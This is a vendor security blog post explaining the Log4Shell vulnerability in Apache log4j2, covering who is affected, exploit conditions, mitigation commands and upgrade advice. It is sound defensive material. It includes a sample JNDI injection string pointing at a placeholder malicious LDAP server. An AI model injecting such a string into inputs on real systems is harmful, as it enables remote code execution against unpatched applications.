Log4Shell Vulnerability (CVE-2021-44228): Should You Worry?

By Yotam Perkal, Vulnerability Research Lead, Rezilion

It has been hard to miss the recent warnings about the newly discovered remote code execution (RCE) vulnerability CVE-2021-44228, also known as Log4Shell.

The vulnerability, originally disclosed on November 24th by Chen Zhaojun of Alibaba Cloud Security Team, is already being actively exploited in the wild. Why is this vulnerability such a big deal?

Log4Shell Has a Huge Attack Surface

The affected Apache log4j2 library is a widely-used open source Java logging library. Log4j2 is being used in millions of Java applications world wide. Popular Apache projects such as: Apache Druid, Apache Flink, Apache Solr, Apache Spark, Apache Struts2 and Apache Tomcat all use it as their logging utility and are therefore vulnerable to this CVE. Confirmed affected services include services such as VMWare vCenter, Kafka and ElasticSearch, platforms like Steam, Apple iCloud, and even the extremely popular Minecraft video game. An updated list of relevant advisories can be found here.

In addition to all of these impacted projects and platforms, almost all versions of Log4j2 are vulnerable (starting from 2.0-beta9 to 2.14.1). We have an astoundingly large attack surface with this vulnerability.

Ease of Log4Shell Exploitation

Log4Shell is very easily exploitable. The attacker doesn’t need to obtain any privileged access, all that is required is the ability to manipulate the logs.

The vulnerability is related to the Java Naming and Directory Interface (JNDI) mechanism, and more specifically to the JNDI Lookup plugin, which was introduced to the log4j library in 2013. Without going into too much technical detail, this JNDI Lookup plugin allows variables to be retrieved via JNDI. These variables can be retrieved locally or by connecting a Java application to an external directory service (such as an address database or an LDAP server).

Basically, all an attacker has to do is target some input that gets logged (user-agent, some parameter which is derived from user input such as username, etc..) and add something like ${jndi:ldap://malicous_server.com/a}. This will cause the object a to be retrieved from the malicious server.

Severe Potential Impact
Even though the vulnerability is still undergoing analysis, and has yet to receive an official CVSS score at the time of writing these lines, the Apache security team gave the Log4Shell vulnerability a Base CVSS Score of 10 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

A successful exploit of the Log4Shell vulnerability will provide an attacker the ability to execute arbitrary code and potentially take full control of the system.

Should you worry?

Validate
If you have a Software Bill of materials (SBOM), identify all log4j2 occurrences that are older than 2.15.0 (the patched version). However, in order for the vulnerability to be exploitable, it is not enough for the library to be installed. These conditions have to be met:
1.) Log4j2 is installed in any version

2.) The library should be actively used (loaded to memory).

3.) The JndiLookup class should be used (loaded to memory)

4.) The application wasn’t run with: -Dlog4j2.formatMsgNoLookups=True, or alternatively the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable isn’t set to true.

Mitigate
In order to mitigate the vulnerability, in releases >=2.10, either make sure to set the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to True or alternatively run each relevant application with -Dlog4j2.formatMsgNoLookups=True.

For example by running:
java -Dlog4j2.formatMsgNoLookups=true -jar someapp.jar

For releases from 2.0-beta9 to 2.10.0, the recommended remediation is to remove the JndiLookup class from the classpath.

For example, you can run a command like:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

An additional mitigation approach can be setting up WAF rules to detect exploitation attempts. While this is a valid technique, keep in mind that due to the fact that the payload can be obfuscated, this method is prone to false positives as well as false negatives. See here & here, for example.

Remediate
In order to remediate the Log4Shell vulnerability, make sure that you upgrade all log4j2 occurrences to the latest version. Specifically, log4j-2.15.0-rc2 or newer.

Takeaway

The Log4Shell vulnerability is very serious and, as we have seen by the number of platforms and projects impacted, also very common in enterprise IT and DevOps environments. It is crucial for organizations to address the bug as-soon as possible. However, since it’s so widespread, fixing it across your entire environment can take a long time. That’s why it’s important to understand where it is exploitable and focus remediation efforts for a timely action.

​​You can use Rezilion to quickly understand if you have vulnerable versions of log4j across your environment and whether they’re actually exploitable and require immediate action. Contact us for a free assessment.

Update: Since the publication of this blog post, there have been several vulnerabilities discovered affecting the remediation and mitigation recommendations.The current patching recommendation is: Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later). Up-to-date mitigation information can be found in this post.